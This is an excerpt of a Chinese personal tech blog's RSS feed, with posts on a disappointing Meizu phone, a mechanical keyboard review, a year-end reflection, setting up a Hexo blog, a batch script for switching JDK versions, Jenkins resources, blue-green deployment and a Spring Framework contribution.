&lt;p&gt;魅族mx4是我去年11月份入手的.且不说魅族搞饥饿营销.先说说我手机从去年到现在遇到的问题.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;屏幕黄边,刚入手没多久,屏幕左侧出现明显黄边,当时很无语.这质量..不过拿去直接给换了个屏幕,同事的另一台也是,入手后直接屏幕大面积坏点.&lt;/li&gt;
&lt;li&gt;通话质量,我买手机主要就是为了打电话,可是魅族这通话质量,打着打着就没声音了,电流声声音很大.尤其微信的时候.&lt;/li&gt;
&lt;li&gt;固件更新质量,有问题通过更新是好事,但是魅族的工程师每周编出那么多更新log也是蛮拼的.实际上一点问题没解决.老是改计算器,闹钟,比较著名的就是之前有人提到的滑动变点击,用了好几个月最后悄悄修复了.&lt;/li&gt;
&lt;li&gt;安全,之前对魅族的质量还算放心,结果上上周,直接整个出应用中心故障,导致很多用户手机莫名秒开始自动下载软件,自动安装,卸载完成又出现,我当时怀疑是我开了wifi下自动更新,于是关掉了.结果还真是.最后给出个这么说法.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;亲爱的魅友们： Flyme应用中心于4月28日晚间服务器发生故障，部分用户出现应用名称与图标混乱，自动更新安装其他应用等情况。在发现故障之后，2个小时之内已经解决，给大家造成不便我们深表歉意。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你特么在逗我.你确定是两小时?
5. 云服务,同上,之前很放心的把手机通讯录,联系人之类的都同步到了魅族的云服务上.结果已经出现好几次没法同步,数据本地丢失,找客服说让我再试试.服务器报错你让我再试试..
6. 诚信,我司的价值观之一诚信,现在看来真的很重要,魅族公司品质极差,之前其总设计师杨颜放狠话,说5月份公测flyme4.5 ,其官微更是转发,说不发发手机,结果,所有人等到5月份,前一天先把公告删了.然后重新发了一封,说不公测.品质极其差.&lt;/p&gt;
&lt;p&gt;综上,对魅族手机已经彻底失望.一分钱一分货,就别老是贬低别的厂商,一句话评价就是中看不中用.&lt;/p&gt;
&lt;p&gt;##雷柏v500##&lt;/p&gt;
&lt;p&gt;雷柏v500是我的第一个机械键盘,我是很喜欢80%这种键位的.不喜欢小键盘区域,有了小键盘区域,键盘太大了.于是当时是看好了filco 87圣手,poker2,race2的.最后由于前一个太贵,后两个没有F1,F2这些而告终,毕竟我是要调试程序,写代码的.没有这几个直接的键位那跟咸鱼有什么区别.用了几周下来.简单汇总下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;便宜,219买的.这价格是真的便宜.而且是80%的键位,雷柏也还是比较出名,之前也买过个鼠标我记得.&lt;/li&gt;
&lt;li&gt;手感,和普通薄膜键盘手感差异很大.手感不错,打字的确有快感.但是你说让爱上打字这个还是有难度的.毕竟.班上多了心情不好.&lt;/li&gt;
&lt;li&gt;不方便,由于是80%,所以键盘小,但是,相当重,好像是有个钢板.非常重,比我的x1笔记本都重,整个人都不好了.自从带去公司,再也不想带回来了.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;综上,整体还是不错的,一分钱一分货,不要夸自己和cherry,flico的距离,差距肯定大大的.但是性价比高.&lt;/p&gt;
&lt;p&gt;##总结##&lt;/p&gt;
&lt;p&gt;总结就是魅族是个坑爹的公司,雷柏键盘还行吧.&lt;/p&gt;</description>
    </item>
    <item>
      <title>2014年过去了</title>
      <link>http://blog.leaver.me/2015/02/21/2014%E5%B9%B4%E8%BF%87%E5%8E%BB%E4%BA%86/</link>
      <pubDate>Sat, 21 Feb 2015 15:48:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/02/21/2014%E5%B9%B4%E8%BF%87%E5%8E%BB%E4%BA%86/</guid>
      <description>&lt;p&gt;##2014年##&lt;/p&gt;
&lt;p&gt;在这一年里,入职支付宝,成长许多,也遇到了一些问题,对于复杂问题的理解力稍微变强了一点.技术上也有了一定的长进.但不够让我自己满意.博客也更新缓慢,很多总结性的东西只是记录在了evernote中,不够完整.&lt;/p&gt;
&lt;p&gt;和文哥也经历了很多事情.有一些问题,也多数都解决了,这一年项目紧急,加班较多,希望能够圆满的结束这个项目,未来总是充满了很多的变数.珍惜眼前人,眼前事,工作生活都是如此.&lt;/p&gt;
&lt;p&gt;感谢文哥,家人,师傅,同事和阿里.谢谢大家在2014年的照顾和合作.总而言之,和大家在一起很开心.&lt;/p&gt;
&lt;p&gt;##2015年##&lt;/p&gt;
&lt;p&gt;新的一年里,希望在技术上有更多的长进.实实在在可以看的见的作品或产出.坚持写博客,能够打上个人更多的标签,而不仅仅是在支付宝或者阿里工作.&lt;/p&gt;
&lt;p&gt;和文哥的相处上可以更加理解和体谅,希望文哥在自己喜欢的领域做出自己的事业.有梦想就要去行动.有目标才会实现.&lt;/p&gt;
&lt;p&gt;2015年不会比2014年更加好过或者是难过,相信明年的这个时候.还能笑谈今日的一切.&lt;/p&gt;</description>
    </item>
    <item>
      <title>hexo建立博客过程中的问题</title>
      <link>http://blog.leaver.me/2015/01/13/hexo%E5%BB%BA%E7%AB%8B%E5%8D%9A%E5%AE%A2%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E9%97%AE%E9%A2%98/</link>
      <pubDate>Tue, 13 Jan 2015 23:21:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/01/13/hexo%E5%BB%BA%E7%AB%8B%E5%8D%9A%E5%AE%A2%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;最近博客越来越慢了.然后一直也有markdown写文章的想法.于是花了点时间把博客迁到了hexo+github+gitcafe的组合上.
##安装Git##
下载 msysgit 并执行即可完成安装。
##安装Node.js##
在 Windows 环境下安装 Node.js 非常简单，仅须下载安装文件并执行即可完成安装。
##安装hexo##
利用 npm 命令即可安装。（在任意位置点击鼠标右键，选择Git bash）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;npm install -g hexo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装完成后,找个目录,比如d:/blog下面.右键,git bash,然后执行
&lt;code&gt;hexo init&lt;/code&gt;
这样就会自动生成所有的目录结构了然后在安装一下依赖包:
&lt;code&gt;npm install&lt;/code&gt;
然后执行
&lt;code&gt;hexo generate&lt;/code&gt; 用来根据md文件生成对应的html文件.执行
&lt;code&gt;hexo server&lt;/code&gt; 则启动本地服务器.打开
127.0.0.1:4000端口查看&lt;/p&gt;
&lt;p&gt;本地查看没啥问题.就需要部署到git上了.先配置一下.
在d:/blog下面的_config.xml中配置远程git的服务器.现在已经支持同时部署到github和gitcafe.在末尾添加&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;deploy:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  type: git
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  repo:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    github: git@github.com:yourname/yourname.github.io.git,master
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    gitcafe: git@gitcafe.com:yourname/yourname.git,gitcafe-pages
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其中的yourname就是你的名字&lt;/p&gt;
&lt;p&gt;然后执行
&lt;code&gt;hexo deploy&lt;/code&gt;
即可.让输入啥就输入啥.
下面是命令的简写
&lt;code&gt;hexo g&lt;/code&gt; == &lt;code&gt;hexo generate&lt;/code&gt;
&lt;code&gt;hexo d&lt;/code&gt; == &lt;code&gt;hexo deploy&lt;/code&gt;
&lt;code&gt;hexo s&lt;/code&gt; == &lt;code&gt;hexo server&lt;/code&gt;
&lt;code&gt;hexo n&lt;/code&gt; == &lt;code&gt;hexo new&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;##网站主题配置##
同样的,在d:/blog下面执行
&lt;code&gt;git clone https://github.com/wuchong/jacman.git themes/jacman&lt;/code&gt;
即可复制主题.
然后修改_config.xml文件.在里面找到theme 设置为
&lt;code&gt;theme: jacman&lt;/code&gt;
注意冒号后面有空格&lt;/p&gt;
&lt;p&gt;##wordpress迁移##&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;导出文章
登录wordpress管理控制台，选择工具-&amp;gt;导出，再选择文章。点击下载导出的文件，就可以得到一个名称类似wordpress.2015-01-12.xml的文件。&lt;/li&gt;
&lt;li&gt;安装迁移插件
&lt;code&gt;npm install hexo-migrator-wordpress --save&lt;/code&gt;执行安装&lt;/li&gt;
&lt;li&gt;导入文章
&lt;code&gt;hexo migrate wordpress source&lt;/code&gt; 这里source就是刚才那个文件的地址,绝对路径或者相对路径都行.导出的中文可能有编码.手动改一下,或者写个脚本简单转换一下.&lt;/li&gt;
&lt;li&gt;导入图片
经过上面的步骤,会发现图片还是原来的连接.这里看这个&lt;a href=&#34;http://catx.me/2014/03/07/hexo-migrator-image/&#34; title=&#34;导入图片&#34;&gt;导入图片插件&lt;/a&gt;使用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;##其他问题##
&lt;a href=&#34;http://rangercyh.blog.51cto.com/1444712/749490&#34;&gt;github连接出现Bad file number问题&lt;/a&gt;
&lt;a href=&#34;http://wuchong.me/blog/2014/01/17/use-github-to-manage-hexo-source/&#34;&gt;使用GitHub来管理博客源文件&lt;/a&gt;
&lt;a href=&#34;http://www.foreverpx.cn/2014/09/25/Hexo%E5%85%8D%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81%E9%83%A8%E7%BD%B2%E5%88%B0github/&#34;&gt;Hexo免输入密码部署到github&lt;/a&gt;
&lt;a href=&#34;http://never.doubting.me/2013/04/18/2013-04-18-set-multiply-accounts-on-github/&#34;&gt;教程:github设置多账号&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>一键切换jdk版本</title>
      <link>http://blog.leaver.me/2014/11/07/%E4%B8%80%E9%94%AE%E5%88%87%E6%8D%A2jdk%E7%89%88%E6%9C%AC/</link>
      <pubDate>Fri, 07 Nov 2014 16:08:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/11/07/%E4%B8%80%E9%94%AE%E5%88%87%E6%8D%A2jdk%E7%89%88%E6%9C%AC/</guid>
      <description>&lt;p&gt;工作中有时候会切换jdk版本.有时候需要用个64位的.有时候需要用32位的.频繁手动很不方便,参考了一下,写了一个bat脚本,保存为bat,运行即可切换.同理可以改改,运来切换1.7,1.8这样的版本.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    @echo off
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :init
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    set JAVA_HOME_32=D:\5.Program\Jdk32Home
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    set JAVA_HOME_64=D:\Software\JdkHome
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :start
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo =============================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo jdk版本列表
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 32 (%JAVA_HOME_32%)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 64 (%JAVA_HOME_64%)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo =============================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :select
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    set /p opt=请选择jdk版本：
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if %opt%==32 (
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      start  /I /WAIT /B wmic ENVIRONMENT where name=&amp;#39;JAVA_HOME&amp;#39; set     VariableValue=&amp;#34;%JAVA_HOME_32%&amp;#34; &amp;amp;gt;nul
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    rem reg add &amp;#34;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&amp;#34; /v JAVA_HOME /t reg_sz /d &amp;#34;%JAVA_HOME_32%&amp;#34; /f
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      goto success
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if %opt%==64 (
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        start /I /WAIT /B wmic ENVIRONMENT where name=&amp;#39;JAVA_HOME&amp;#39; set VariableValue=&amp;#34;%JAVA_HOME_64%&amp;#34; &amp;amp;gt;nul
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    rem reg add &amp;#34;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&amp;#34; /v JAVA_HOME /t reg_sz /d &amp;#34;%JAVA_HOME_64%&amp;#34; /f
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        goto success
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 选择的版本错误,请重新选择！
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    PAUSE
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    goto start
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :success
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 设置环境变了成功.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>jenkins相关资料</title>
      <link>http://blog.leaver.me/2014/09/21/jenkins%E7%9B%B8%E5%85%B3%E8%B5%84%E6%96%99/</link>
      <pubDate>Sun, 21 Sep 2014 18:26:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/09/21/jenkins%E7%9B%B8%E5%85%B3%E8%B5%84%E6%96%99/</guid>
      <description>&lt;h1 id=&#34;jenkins相关资料&#34;&gt;jenkins相关资料&lt;/h1&gt;
&lt;p&gt;jenkins的前身是hudson,是为了做持续集成测试而诞生的框架.&lt;/p&gt;
&lt;p&gt;简单说就是把代码流配置上去,然后该框架就能根据设定的时间或其他方式不间断的执行测试用例.并给出报告.这样就可以随时掌控代码质量.支持执行shell命令.支持短信通知等等.&lt;/p&gt;
&lt;p&gt;jenkins,首先从&lt;a href=&#34;http://jenkins-ci.org/%E5%AE%98%E6%96%B9%E4%B8%8B%E8%BD%BDwar%E5%8C%85,%E7%84%B6%E5%90%8E%E6%9C%89%E4%B8%A4%E7%A7%8D%E6%96%B9%E5%BC%8F%E5%8F%AF%E4%BB%A5%E6%9C%AC%E5%9C%B0%E9%83%A8%E7%BD%B2,%E4%B8%80%E7%A7%8D%E7%9B%B4%E6%8E%A5%E6%89%A7%E8%A1%8C&#34;&gt;http://jenkins-ci.org/官方下载war包,然后有两种方式可以本地部署,一种直接执行&lt;/a&gt;
&lt;code&gt;java -jar hudson.war&lt;/code&gt;,然后在本地的8080端口访问就可以了.另一种是我们希望部署在容器上,那么可以部署到tomcat,jetty等等.直接拷贝war包到对应的目录即可.&lt;/p&gt;
&lt;p&gt;部署成功后,可以新建job,然后配置svn流,配置build时间,配置一下build之前的动作,配置一下各种命令,执行完成后通知等等就可以了.&lt;/p&gt;
&lt;p&gt;最近因为有个功能感觉通过开发jenkins插件的方式会更加方便,周末大量读了一些文档,能找到的都是helloworl.摸索了一下,已经写出一个小的demo了,后面改进一下,.就ok了.先简单把这个过程中收集的资料整理一下.基本都看过觉得还不错的,官方文档不给力.下周希望可以写完,然后分享出来.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1wBp06&#34;&gt;jenkins入门文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1pJySAMn&#34;&gt;The hudson book&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1bn8e5sj&#34;&gt;Writing-first-hudson-plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/littleatp2008/article/details/7001793&#34;&gt;Hudson插件开发简介&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/yzhou86/article/details/6874144&#34;&gt;Hudson插件开发入门体验 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://jenkins-ci.org/maven-site/jenkins-core/jelly-taglib-ref.html&#34;&gt;插件界面设计设计的各种tag介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.jenkins-ci.org/display/JENKINS/Plugin+tutorial#Plugintutorial-CreatingaNewPlugin&#34;&gt;官方插件开发&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.jenkins-ci.org/display/JENKINS/Basic+guide+to+Jelly+usage+in+Jenkins&#34;&gt;UI开发jelly介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1qWuNags&#34;&gt;jenkins入门(itech)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>蓝绿发布的整个部署过程</title>
      <link>http://blog.leaver.me/2014/09/14/%E8%93%9D%E7%BB%BF%E5%8F%91%E5%B8%83%E7%9A%84%E6%95%B4%E4%B8%AA%E9%83%A8%E7%BD%B2%E8%BF%87%E7%A8%8B/</link>
      <pubDate>Sun, 14 Sep 2014 10:01:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/09/14/%E8%93%9D%E7%BB%BF%E5%8F%91%E5%B8%83%E7%9A%84%E6%95%B4%E4%B8%AA%E9%83%A8%E7%BD%B2%E8%BF%87%E7%A8%8B/</guid>
      <description>&lt;div&gt;
&lt;p&gt;一直听说蓝绿发布,不知道是怎么个过程.&lt;/p&gt;
&lt;p&gt;thanks to&lt;span class=&#34;Apple-converted-space&#34;&gt; &lt;/span&gt;&lt;a href=&#34;http://sunitspace.blogspot.jp/2013/10/blue-green-deployment.html&#34; title=&#34;blue green deploy&#34;&gt;blue-green-deployment&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;蓝绿发布的意义&#34;&gt;蓝绿发布的意义&lt;/h2&gt;
&lt;p&gt;整个发布过程，用户没有感受到任何宕机或者服务重启。&lt;/p&gt;
&lt;h2 id=&#34;蓝绿发布的过程&#34;&gt;蓝绿发布的过程&lt;/h2&gt;
&lt;p&gt;第0步:部署以前的配置
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-8.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (8)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/640798001262d94e7dbb6e2e7c58bf456e447775.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第1步: 把绿色集群的状态改为&amp;rsquo;备用&amp;rsquo;. 从负载均衡的池里把这些地址去掉,这样,绿色的集群就不再回接收到来自用户的请求了.转而进入备用负载均衡的池里.
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-9.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (9)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3f51064c7e2863de366d71673e234504f6991048.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第2步:在绿色集群里部署新的代码,直到应用启动成功
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-3.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (3)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d4b51b6ce1a44b5cbaa11da5e8c1aa1d5eeea056.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第3步:使用备用负载均衡简单测试一下备用集群的部署情况.理想状态下是全自动的.&lt;/p&gt;
&lt;p&gt;第4步:把绿色备用集群的状态改成存货,于是进入了存活负载均衡的池里
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-4.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (4)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/19b275c22c2540d4cd4c8e6f28f6c90e474fd0ad.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看到 蓝色运行v1版本,绿色运行v2版本,都连接的是相同的数据库.这意味着v2版本也要在老的数据模型上运行.如果数据库有变更,要等到所有的集群升级到新的代码上.&lt;/p&gt;
&lt;p&gt;第5步: 对蓝色集群也进行同样的操作.
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-5.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (5)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d40415aeafd0197ad5408a7d9bcf17e99b2b8d64.png&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-6.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (6)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d403f2fcd75c1dcacab86ef6447f837018aaf5e.png&#34;&gt;&lt;/a&gt;
最终v2代码完成部署.
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-7.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (7)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6f2592793b9517521e14b4aae09696e30d708ae6.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第6步:根据情况.运行数据库迁移&lt;/p&gt;
&lt;/div&gt;
&amp;nbsp;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>第一次给Spring-Framework贡献代码</title>
      <link>http://blog.leaver.me/2014/08/21/%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BB%99spring-framework%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81/</link>
      <pubDate>Thu, 21 Aug 2014 07:46:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/08/21/%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BB%99spring-framework%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;鲁肃说建议去看Spring框架的代码,之前其实我想看来着,不过一看到还要gradlew,换jdk就好麻烦.这次各种折腾把代码fork下来,然后安装&lt;code&gt;gradlew &lt;/code&gt;,然后转换成eclipse支持的,期间升级了eclipse版本和jdk版本到8.否则会有个方法不支持,&lt;/p&gt;
&lt;p&gt;流程很简单,先fork一下代码,然后自己改好提交上去,再去Spring框架的pull request请求一下.等大牛合并就行了.&lt;/p&gt;
&lt;p&gt;刚开始看测试用例,我当时看到这个方法调用了一个下线的方法.于是改了一下.提交上去之后,**&lt;a href=&#34;https://github.com/sbrannen&#34;&gt;sbrannen&lt;/a&gt; ** 回复说:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;while you&amp;rsquo;re at it, why don&amp;rsquo;t you go ahead fix the related deprecated issues in all of the test classes in &lt;code&gt;spring-jdbc&lt;/code&gt;
于是我把spring-jbdc包下面的几个方法调用都改掉了.记得谁说过,任何事情都不是别人的事情,你发现了你就要去做,不要等着别人去做,不会就去学.于是再次修改提交,sbrannen 问我有没有签&lt;a href=&#34;https://support.springsource.com/spring_committer_signup.&#34;&gt;CLA&lt;/a&gt;,这个坑爹的网站挂了.等了几天,昨天终于ok了.今天代码已经合并.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;截图留念:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/08/spring.png&#34;&gt;&lt;img alt=&#34;spring&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/56d25e223f79e6ffdb3162ac7658124363f1d82e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/spring-projects/spring-framework/commits?author=leizhiyuan&#34;&gt;https://github.com/spring-projects/spring-framework/commits?author=leizhiyuan&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;今天要吃两个煎饼果子.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Python学习资源</title>
      <link>http://blog.leaver.me/2014/07/26/python%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90/</link>
      <pubDate>Sat, 26 Jul 2014 16:19:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/26/python%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90/</guid>
      <description>&lt;p&gt;最近突然觉得需要学习一个轻便的语言，每次写个小工具啥的还要打开eclipse，很是不方便。于是学习了一下python，看看官方文档基本就可以上手了，剩下的就是多用了，个人用python写了个调用websevice的东西，suds这个库3.x已经不维护了，坑爹，需要使用&lt;a href=&#34;http://pypi.python.org/pypi/suds-jurko&#34;&gt;http://pypi.python.org/pypi/suds-jurko&lt;/a&gt; 这个库代替，主要是为了批量测试mock的连通性的，&lt;/p&gt;
&lt;p&gt;另外是python3.x和python2.x差异是在很大，我选了3&amp;hellip;, 刚学习的人还是建议从2.x开始吧，否则很多源代码你下载回来基本运行不了。&lt;/p&gt;
&lt;p&gt;本文是我在学习过程中看到的不错的文档，希望有所帮助。&lt;/p&gt;
&lt;p&gt;先看官方文档，英文版觉得有难度看下中文版：&lt;a href=&#34;http://www.pythondoc.com/pythontutorial3/&#34;&gt;Python3.4 入门指南&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后写写代码，小例子看看&lt;a href=&#34;http://www.cnblogs.com/vamei/archive/2012/09/13/2682778.html&#34;&gt;Python快速教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;遇到问题，可以去看看：&lt;a href=&#34;https://github.com/wklken/stackoverflow-py-top-qa&#34;&gt;stackoverflow python 百问&lt;/a&gt;&lt;/p&gt;
